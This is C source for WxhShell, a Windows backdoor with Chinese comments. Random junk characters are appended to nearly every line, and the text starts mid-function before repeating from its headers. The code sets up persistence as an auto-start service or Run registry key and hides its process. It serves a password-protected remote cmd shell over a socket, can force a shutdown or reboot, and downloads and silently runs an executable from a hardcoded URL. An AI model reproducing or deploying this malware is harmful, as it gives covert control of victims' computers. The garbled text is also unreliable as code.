    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q';\tGy  
    if(Boot(SHUTDOWN)) qQ2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :XNK-A W  
    else { 4'd;'SvF  
    closesocket(wsh); }A)^XZ/  
    ExitThread(0); +5N^TnBtBL  
    } KzxW?Ji$S  
    break; mkKRC;  
    } weTK#O0@v  
  // 获取shell z{7,.S u  
  case 's': { gs^UR6 D,  
    CmdShell(wsh); Cnb[t[hk+j  
    closesocket(wsh); @$K![]oD  
    ExitThread(0); ;7B2~zL  
    break; l{B< "+8  
  } R.^Bxi-UG:  
  // 退出 P\Pc/[ Z7  
  case 'x': { ~2;&pZ$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s8/ozaeo  
    CloseIt(wsh); (2hk <  
    break; QySca(1tN  
    } )x9nED{  
  // 离开 n0 fF,?gm  
  case 'q': { =6L :I x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^D>/wX\u  
    closesocket(wsh); #! K~_DL  
    WSACleanup(); jn5=N[hd  
    exit(1); uL qpbn  
    break; oj,Vi-TZ  
        } -wG[>Y  
  } \&l*e  
  } {HE.mHy  
_KT]l./  
  // 提示信息 >G w%r1)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CU} q&6h  
} [hvig$L  
  } ~CjmYP'o  
o} bj!h]N  
  return; #I*ht0++  
} 7csl1|U  
/3"e3{u y  
// shell模块句柄 @$N*lrM2  
int CmdShell(SOCKET sock) 2={K-s20  
{ q%)*,I<  
STARTUPINFO si; =~(LJPo6  
ZeroMemory(&si,sizeof(si)); yF [@W<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )BMWC k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PN)TX~}  
PROCESS_INFORMATION ProcessInfo; 4w3V!K8  
char cmdline[]="cmd"; ]h`E4B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .DM1Knj  
  return 0; A~ %g"  
} :\ON+LQr  
8B% O%*5`  
// 自身启动模式 FSXKH{Z  
int StartFromService(void) &p(*i@Ms  
{ qH}62DP3  
typedef struct R`<{W(J;r  
{ $`+~QR!h  
  DWORD ExitStatus; F".IB^} $  
  DWORD PebBaseAddress; joSr,'x  
  DWORD AffinityMask; E<fwl1<88  
  DWORD BasePriority; n"Z,-./m  
  ULONG UniqueProcessId; ?\/dfK:!  
  ULONG InheritedFromUniqueProcessId; [{d[f|   
}   PROCESS_BASIC_INFORMATION; - KoA[UJ  
VG*=)8{  
PROCNTQSIP NtQueryInformationProcess; [fJFH^&?hr  
VS@rM<K{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 85d7IB{28  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pCud` :o"  
L_CEY  
  HANDLE             hProcess; /=O+/)l`  
  PROCESS_BASIC_INFORMATION pbi; mc[_> [m  
Y-q,Ovf!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !WVabdt  
  if(NULL == hInst ) return 0; Fr Q-v]c  
D9pxe qf+=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IWbp^l+!t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @bVh?T0~F,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); | 2c!t$O@v  
CI3_lWax%  
  if (!NtQueryInformationProcess) return 0; %lq7; emtp  
Fw8X$SE"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kgI.kT(=  
  if(!hProcess) return 0; f<t*#]<  
^9m]KEucd7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n4 6PQm%p  
.4m3@!qo)E  
  CloseHandle(hProcess); )]e d;V  
QIxJFr;>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]t!}D6p  
if(hProcess==NULL) return 0; T_|fb)G+{  
Dg2#Gv0B  
HMODULE hMod; [3 ;Y:&D  
char procName[255]; C&#KdvN/r  
unsigned long cbNeeded; uEi.nSp)S  
&>^Ympr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8"I5v(TV  
(;S]{z%  
  CloseHandle(hProcess); C Wl95g  
9#$V1(}?  
if(strstr(procName,"services")) return 1; // 以服务启动 o dQ&0d  
0kr& c;~  
  return 0; // 注册表启动 -*{(#k$  
} y0y;1N'KK  
]NhWhJ:  
// 主模块 n;T  
int StartWxhshell(LPSTR lpCmdLine) V%KW[v<G<  
{ UBk 5O&  
  SOCKET wsl; U3R`mHr0  
BOOL val=TRUE; :|6D@  
  int port=0; .$E~.6J %i  
  struct sockaddr_in door; 8 $*cfOC  
TKs@?Q,J  
  if(wscfg.ws_autoins) Install(); rgY?X$1q_  
@42lpreT  
port=atoi(lpCmdLine); Js2_&?}3f  
~}9H<K3V  
if(port<=0) port=wscfg.ws_port; {]^%?]e  
sT T455h)  
  WSADATA data; {xb%P!o`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [AOluS  
M#jeeE-}%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q8yJW-GA   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,% DAh  
  door.sin_family = AF_INET; x6cl(J}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _( A +_|  
  door.sin_port = htons(port); B qiq  
Ta5iY }  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -tdON  
closesocket(wsl); eOnl s x/  
return 1; lSsFI30  
} \kRJUX! s  
TKutO0  
  if(listen(wsl,2) == INVALID_SOCKET) { {_gj>n(1  
closesocket(wsl); G5@fqh6ws  
return 1; T%vbD*nt.  
} Ku,A}5-6  
  Wxhshell(wsl); 9%'HB\A  
  WSACleanup(); }[R@HmN   
t;PnjCD<`  
return 0; lkJ#$Ik&  
H" g&  
} G Z[5m[  
x/q$RcDOm  
// 以NT服务方式启动 jc.Uh9Kc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dM;WG;8e  
{ 1+ARV&bc  
DWORD   status = 0; YVV $g-D}  
  DWORD   specificError = 0xfffffff; NGD2z.  
5oyMR_yl  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xI),0 db  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &7nfTc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; / {bK*A!  
  serviceStatus.dwWin32ExitCode     = 0; Z8_gI[Zn  
  serviceStatus.dwServiceSpecificExitCode = 0; ee?M o`  
  serviceStatus.dwCheckPoint       = 0; rnr8t]  
  serviceStatus.dwWaitHint       = 0; jWm BUHCb  
>$9yQ9&|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uWT&`m_(2  
  if (hServiceStatusHandle==0) return; 4sgwQ$m)  
f9bz:_;W_  
status = GetLastError(); S#z8H+'  
  if (status!=NO_ERROR) 2gI_*fG1  
{ C+IE<=%F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cr;`0  
    serviceStatus.dwCheckPoint       = 0; @+vTGjHA  
    serviceStatus.dwWaitHint       = 0; Kt7x'5  
    serviceStatus.dwWin32ExitCode     = status; Ln -?/[E  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~ab_+%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9 3I9`!e  
    return; $?Mz[X  
  } LjAIB(*  
&_^<B7aC'k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W{/z-&  
  serviceStatus.dwCheckPoint       = 0; FPFYH?;$  
  serviceStatus.dwWaitHint       = 0; C)kQi2T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kO>{<$  
} lR3^&d72?  
~7H.<kJt  
// 处理NT服务事件,比如:启动、停止 ;;H:$lx  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6KTY`'I  
{ >mltE$|  
switch(fdwControl) #IwB  
{ /Day5\Q#  
case SERVICE_CONTROL_STOP: {j@)sDM X  
  serviceStatus.dwWin32ExitCode = 0; ZKL%rp_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W"@lFUi  
  serviceStatus.dwCheckPoint   = 0; F<WX\q  
  serviceStatus.dwWaitHint     = 0; bj^m<}   
  { uQ1;+P:L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *0zH5c  
  } ><7`$2Or  
  return; zSXC  
case SERVICE_CONTROL_PAUSE: ~jTn jx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Qeog$g.HI  
  break; *G=AhH$t  
case SERVICE_CONTROL_CONTINUE: Mdh"G @$n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L` "UeNT  
  break; B.WkHY%/  
case SERVICE_CONTROL_INTERROGATE: j( :A  
  break; iR OM?/$  
}; dEL"(e#0s4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $8}'6,  
} 6p{x2>2y[  
[]Ea0jYu  
// 标准应用程序主函数 nd1*e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,~iAoxD5jY  
{ =*U24B*U93  
3NWAy Cq-  
// 获取操作系统版本 21j+c{O  
OsIsNt=GetOsVer(); ;~;St>?\R\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wQ^a2$Z  
.).<L`q  
  // 从命令行安装 xU"qB24]=  
  if(strpbrk(lpCmdLine,"iI")) Install(); DV" ri  
yBiwYk6  
  // 下载执行文件 k~dr;j  
if(wscfg.ws_downexe) { 4Pdk?vHK;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (Mh\!rMg  
  WinExec(wscfg.ws_filenam,SW_HIDE); [40 YoVlfM  
} FCPRg^=<!~  
{r8CzJ'f  
if(!OsIsNt) { ]f~YeOB@  
// 如果时win9x,隐藏进程并且设置为注册表启动 x"80c(i  
HideProc(); |i8dI)b  
StartWxhshell(lpCmdLine); Fgk/Ph3r  
} %"2B1^o>  
else lhTbgM  
  if(StartFromService()) 4UkLvL1x  
  // 以服务方式启动 /B7 GH5  
  StartServiceCtrlDispatcher(DispatchTable); dp+Y?ufr  
else x6tY _lzJ  
  // 普通方式启动 !W7ekPnK  
  StartWxhshell(lpCmdLine); U8!njLC  
e>)5j1  
return 0; e X@q'Zi  
} Uo ,3 lMr  
N!,l4!M\N  
Hyg?as>}u  
1gJ!!SHPo  
=========================================== < i|+p1t  
9=f'sqIPV  
Nj\WvKG  
vGw}e&YI  
tPHiz%  
STI3|}G*P  
" ) b8*>k  
|9 3%,  
#include <stdio.h> wP9C\W;  
#include <string.h> '=@x2`U/  
#include <windows.h> NU[{oI<a  
#include <winsock2.h> BoqW;SG$9  
#include <winsvc.h> r%9Sx:F  
#include <urlmon.h> @Q!j7I  
:u0433z:  
#pragma comment (lib, "Ws2_32.lib") =I1@O9}+i  
#pragma comment (lib, "urlmon.lib") jp]JF h;3  
O 7sn>uO  
#define MAX_USER   100 // 最大客户端连接数 < lrw7T  
#define BUF_SOCK   200 // sock buffer )J0VB't  
#define KEY_BUFF   255 // 输入 buffer t;'.D @  
_HQa3wj  
#define REBOOT     0   // 重启 @:I/lg=Qd  
#define SHUTDOWN   1   // 关机 M{QNpoM  
HPQ,tlp6j  
#define DEF_PORT   5000 // 监听端口 @\R)k(F  
^-_!:7TH]  
#define REG_LEN     16   // 注册表键长度 elN3B91\6r  
#define SVC_LEN     80   // NT服务名长度 zU%aobZ  
`ijX9c  
// 从dll定义API d\f 5\Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {Hv=iVmt  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !l|Qyk[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /[L:ol6;!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); PhS"tOGtX  
dEiX! k$#  
// wxhshell配置信息 {65X37W  
struct WSCFG { "=;&{N~8U  
  int ws_port;         // 监听端口 A UK7a  
  char ws_passstr[REG_LEN]; // 口令 Mi/_hzZ\  
  int ws_autoins;       // 安装标记, 1=yes 0=no )C@,mgh  
  char ws_regname[REG_LEN]; // 注册表键名 Nvi14,q/  
  char ws_svcname[REG_LEN]; // 服务名 4 C:YEX~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q8n?7JB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~gc)Ww0(Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {~"=6iyj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }!LYV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P,wJ@8lv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0)NHjKP  
l?q^j;{Dw  
}; P dJ*'@~i  
gyK"#-/_d  
// default Wxhshell configuration K*<n<;W  
struct WSCFG wscfg={DEF_PORT, 9=SZL~#CE  
    "xuhuanlingzhe", [xC (t]S-  
    1, L{ -w9(S`i  
    "Wxhshell", O\w%E@9Fh  
    "Wxhshell", (LjY<dQO  
            "WxhShell Service", u+'=EGl  
    "Wrsky Windows CmdShell Service", [F%\1xh  
    "Please Input Your Password: ", %YXC-E3@O  
  1, w~9gZ&hdp  
  "http://www.wrsky.com/wxhshell.exe", o\#C] pp  
  "Wxhshell.exe" R&QT  'i  
    }; 8/CGg_C1  
9(_/jU4mc  
// 消息定义模块 0)B+ :  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MouYZI)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wg_Z!(Hr#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l;2bBx7vW  
char *msg_ws_ext="\n\rExit."; 'a}{s>{O  
char *msg_ws_end="\n\rQuit."; Oq("E(z+f  
char *msg_ws_boot="\n\rReboot..."; 7\xa_nrI  
char *msg_ws_poff="\n\rShutdown..."; $I9zJ"*  
char *msg_ws_down="\n\rSave to "; HUJ $e2[  
yZ{YIy~  
char *msg_ws_err="\n\rErr!"; 7~',q"4P/_  
char *msg_ws_ok="\n\rOK!"; r0sd_@Oj  
M3V[p9>  
char ExeFile[MAX_PATH]; YpL}R#  
int nUser = 0; x R.Ql>  
HANDLE handles[MAX_USER]; mKg~8q 3  
int OsIsNt; L,<.rr$:  
u{ng\d*KE}  
SERVICE_STATUS       serviceStatus; J L3A/^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,P|PPx%@  
1pK7EK3R  
// 函数声明 nxt1Y04,H  
int Install(void); cZYX[.oIB  
int Uninstall(void); #k6;~  
int DownloadFile(char *sURL, SOCKET wsh); uzo}?X#  
int Boot(int flag); $lqV(s  
void HideProc(void); 'e*C^(6  
int GetOsVer(void); b?$3jOtW  
int Wxhshell(SOCKET wsl); r,}Zc W+  
void TalkWithClient(void *cs); Hq9(6w9w  
int CmdShell(SOCKET sock); efh wbn  
int StartFromService(void); |'.SOm9)*  
int StartWxhshell(LPSTR lpCmdLine); )_jO8 )jB  
MS b{ve_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =Yfs=+O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v=4TU \b%  
}S&{ &gh  
// 数据结构和表定义 CUG6|qu  
SERVICE_TABLE_ENTRY DispatchTable[] = Ort\J~ O  
{ ZG>OT@ GA  
{wscfg.ws_svcname, NTServiceMain}, 0,c z&8  
{NULL, NULL} ji2#O.  
}; oGM.{\i  
FKQnz/  
// 自我安装 u4 "+u"{d  
int Install(void) W+#?3s[FV  
{ \Q6Ip@?  
  char svExeFile[MAX_PATH]; W1OGN4`C  
  HKEY key; (|x->a  
  strcpy(svExeFile,ExeFile); DW-LkgfA  
,QQ:o'I!  
// 如果是win9x系统,修改注册表设为自启动 L.R  
if(!OsIsNt) { u/zC$L3B(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JB-j@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :$WRV-  
  RegCloseKey(key); N_ >s2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q>rQ/V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LOA 90.D  
  RegCloseKey(key); ;V;4#  
  return 0; ?YS`?Rr  
    } J kA~Ol  
  } +bSv-i-  
} n33SWE(  
else { "7 l}X{b  
\yxr@z1_b  
// 如果是NT以上系统,安装为系统服务  lG{J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I;7{b\t Q  
if (schSCManager!=0) Rpr# ,|  
{ 'e&4#VLH^  
  SC_HANDLE schService = CreateService 2::T,Z  
  ( @iaN@`5I6s  
  schSCManager, N>~*Jp2;  
  wscfg.ws_svcname, fSTEZH  
  wscfg.ws_svcdisp, nuQ"\ G  
  SERVICE_ALL_ACCESS, ijTtyTC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M *}$$Fe|  
  SERVICE_AUTO_START, =_XcG!"  
  SERVICE_ERROR_NORMAL, 1#@'U90xf  
  svExeFile,  }QI*Ns  
  NULL, `A'*x]l  
  NULL, X#o:-FKf  
  NULL, ABSeX  
  NULL, A=])pYE1  
  NULL 8RK\B%UW  
  ); saZ ;ixV  
  if (schService!=0) Y7p#K<y]9  
  { 0I k@d'7  
  CloseServiceHandle(schService); s?2;u p*D  
  CloseServiceHandle(schSCManager); ?SpI^Wn)[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _% P%~`?!  
  strcat(svExeFile,wscfg.ws_svcname); F 6Ol5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u Qj#U m8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %cv%u6 b  
  RegCloseKey(key); ZLV~It&)  
  return 0; R|vF*0)>W  
    } H(X~=r  
  } <omz9d1  
  CloseServiceHandle(schSCManager); ks{s Q@~  
} \kRBJ1)|f  
} 6y0C  
~}5(J,1!  
return 1; wHCsEp(  
} 8 jT"HZB6  
' ZJ6p0  
// 自我卸载 u+V;r)J{  
int Uninstall(void) c:iMbJOn#  
{ #:yZJS9f9  
  HKEY key; nO/5X>A,Zw  
<@yyx7  
if(!OsIsNt) { vxgm0ZOMN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~\^8 ^  
  RegDeleteValue(key,wscfg.ws_regname); r B)WHx<  
  RegCloseKey(key); 7KEGTKfW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I2 Kb.`'!  
  RegDeleteValue(key,wscfg.ws_regname); nMnc&8r  
  RegCloseKey(key); 9xz`V1mIL  
  return 0; v ipmzg(S  
  } eyM3W}[S$/  
} &>/nYvuq-  
} &><`?  
else { fx|9*|E  
^?A+`1-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -Av/L>TxlI  
if (schSCManager!=0) :Y'nye3:  
{ p[wjHfIq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,t[D1KZt  
  if (schService!=0) 5|b/G  
  { w.3R1}R  
  if(DeleteService(schService)!=0) { \<8!b {F  
  CloseServiceHandle(schService); XC$~!  
  CloseServiceHandle(schSCManager); ^T[ #rNkeL  
  return 0; c1/x,1LnMf  
  } uqnZ  
  CloseServiceHandle(schService); 0eLK9u3<  
  } ^\I$tnY`  
  CloseServiceHandle(schSCManager); B^qB6:\t  
} M{H&5 9v  
} -7`J(f.rYC  
OU+*@2")t  
return 1; }lY-_y  
} jHzy1P{?  
`3OGCy  
// 从指定url下载文件 Bb o*  
int DownloadFile(char *sURL, SOCKET wsh) y6s$.93  
{ ,>^~u  
  HRESULT hr; +u#x[xO  
char seps[]= "/"; 7%'<}u  
char *token; |RmBa'.)z  
char *file; cBA[D~s  
char myURL[MAX_PATH]; .jKO 6f  
char myFILE[MAX_PATH]; 1-n0"lP~4  
+~@Y#>+./l  
strcpy(myURL,sURL); /<C=9?Ok  
  token=strtok(myURL,seps); IlrmXSr  
  while(token!=NULL) ' 4"L;){:L  
  { O^GXFz^  
    file=token; 7'I7   
  token=strtok(NULL,seps); 7jPmI  
  } 5Zov< +kE  
1K`A.J:Uy  
GetCurrentDirectory(MAX_PATH,myFILE); :o:??tqw  
strcat(myFILE, "\\"); ra&C|"~E  
strcat(myFILE, file); )\(pDn$W  
  send(wsh,myFILE,strlen(myFILE),0); G$j8I~E@  
send(wsh,"...",3,0); j{=%~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2S;zze7)  
  if(hr==S_OK) p5KNqqZZ  
return 0; U]acm\^Z  
else Z Kvh]  
return 1; +M*a.ra0OF  
HL?pnT09  
} YV msWuF  
u v5@Alm  
// 系统电源模块 E;sltl  
int Boot(int flag) }FXRp=s  
{ 3XRG"  
  HANDLE hToken; D6t]E)FH  
  TOKEN_PRIVILEGES tkp; RBXoU'.  
q~3&f  
  if(OsIsNt) { lySaJ d  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NSq"\A\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6D0,ME#  
    tkp.PrivilegeCount = 1; G!\x c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S%oGBY*Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v<wT`hiKW  
if(flag==REBOOT) { R32d(2%5K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F0\ry "(t  
  return 0; &u8c!;y$b  
} "DpQnhvbB  
else { Jj " {r{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #t O!3=0  
  return 0; Pz 'Hqvd  
} ?<;<#JN  
  } ?KN_J  
  else { =X*E(.6Ip  
if(flag==REBOOT) { Fo#*_y5\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b~gF,^w  
  return 0; .kIf1-(<U  
} xh0A2bw'OP  
else { s__g*%@B b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W}RR_Gu  
  return 0; *QG;KJ%  
} s<b7/;w'  
} (R-Q9F+;  
~'3% Qr  
return 1; .p`'^$X^  
} q4{tH  
Fn,|J[sC  
// win9x进程隐藏模块 GLyh1qNX  
void HideProc(void) ]_?y[@ZP  
{ m!_ghD{5h  
W=?87PkJu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); keOW{:^i  
  if ( hKernel != NULL ) ;Y\,2b, xh  
  { UZra'+Wb  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mxGN[ %ve  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V*}zwm s6  
    FreeLibrary(hKernel); m##=iB|;  
  } 9:o3JGHSc  
B*IDx`^Y  
return; H[ q{R  
} ;^]A@WN6_  
=HHg:"  
// 获取操作系统版本 _=5ZB_I  
int GetOsVer(void) v%5(-  
{ (#]KjpIK  
  OSVERSIONINFO winfo; @{uc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #EUgb7  
  GetVersionEx(&winfo);  Dfia=1A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G.8b\E~  
  return 1; qS al~  
  else )v~]lk,o  
  return 0; U5"OhI  
} yxbTcZ  
?W_U{=anl  
// 客户端句柄模块 @g~sgE}#  
int Wxhshell(SOCKET wsl) aehMLl9cl  
{ OWsYE?  
  SOCKET wsh; #9OP.4  
  struct sockaddr_in client; sjm79/  
  DWORD myID; W+?[SnHL/  
Z > =Y  
  while(nUser<MAX_USER) ,6"n5Ks}  
{ 98^6{p  
  int nSize=sizeof(client); "'Uk0>d=_I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %SCu29km  
  if(wsh==INVALID_SOCKET) return 1; Q%^bA,$&D  
6l'y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h>0<@UP  
if(handles[nUser]==0) %<yM=1~>  
  closesocket(wsh); M7,MxwZ0k  
else u7WM6X  
  nUser++; 4sjr\9IDC  
  } +;;%Atgn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }8 _9V|E  
8[;oUVb5  
  return 0; (B<AK4G  
} KTt$Pt/.  
Xkom@F~]  
// 关闭 socket (14kR  
void CloseIt(SOCKET wsh) B}+9U  
{ uFZB8+  
closesocket(wsh); x35s6  
nUser--; [dlH t;S  
ExitThread(0); .N&}<T[  
} _9|@nUD  
G6{A[O[  
// 客户端请求句柄 RI3{>|*  
void TalkWithClient(void *cs) |wQZ~Ux:  
{ ue<<Y"NR  
P1stL,  
  SOCKET wsh=(SOCKET)cs; F  t/ x 5  
  char pwd[SVC_LEN]; s$x] fO  
  char cmd[KEY_BUFF]; )Cvzj<Q0  
char chr[1]; X@U 1Ri  
int i,j; CL :M>(  
Ag0_^  
  while (nUser < MAX_USER) { 8p{  
=@=R)C4f*  
if(wscfg.ws_passstr) { } <4[(N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NqE7[wH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -Jo :+].  
  //ZeroMemory(pwd,KEY_BUFF); Cnci%e o  
      i=0; t<,p-TM]  
  while(i<SVC_LEN) { g4aX  
?0<INS~  
  // 设置超时 FNCLGAiZ  
  fd_set FdRead; UQ])QTrZFi  
  struct timeval TimeOut; zB" `i  
  FD_ZERO(&FdRead); Juqn X  
  FD_SET(wsh,&FdRead); e.|RC  
  TimeOut.tv_sec=8; hRIS [#z;U  
  TimeOut.tv_usec=0; vx}Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ej09RO"pB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5|G3t`$pa  
ZHECcPhz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *jw$d8q2  
  pwd=chr[0]; u;ooDIq@  
  if(chr[0]==0xd || chr[0]==0xa) { W<|K  
  pwd=0; 9$V_=Bo  
  break; 'oZn<c`  
  } 0k 0c   
  i++; " IkF/  
    } 76Vyhf&7  
J&ECm+2  
  // 如果是非法用户,关闭 socket :#:O(K1PW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pUMB)(<k  
} 0$ 9;p zr  
9'#.>Q>0=j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e$+f~~K  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a05:iFoJ  
*R\/#Y|  
while(1) { -b\ V(@5  
_q$LrAT  
  ZeroMemory(cmd,KEY_BUFF); 6+nMH +[  
8<wuH#2<y  
      // 自动支持客户端 telnet标准   dF11Rj,~ 8  
  j=0; l3?,gd.-  
  while(j<KEY_BUFF) { Rk jKIa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :Mu8W_  
  cmd[j]=chr[0]; &Dg)"Xji  
  if(chr[0]==0xa || chr[0]==0xd) { u4,X.3V]A  
  cmd[j]=0; !QR?\9`  
  break; a$zm/  
  } 3^R][;  
  j++; nR@,ouB-$  
    } +>:_kE]?nX  
$K.%un Gm  
  // 下载文件 m7wc)"`t  
  if(strstr(cmd,"http://")) { ?WQd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Fr3d#kVR  
  if(DownloadFile(cmd,wsh)) pG F5aF7T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); CziaxJ  
  else x"l lX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :7Z\3_D/  
  } 3pTS@  
  else { g t^]32$  
2VV[*QI  
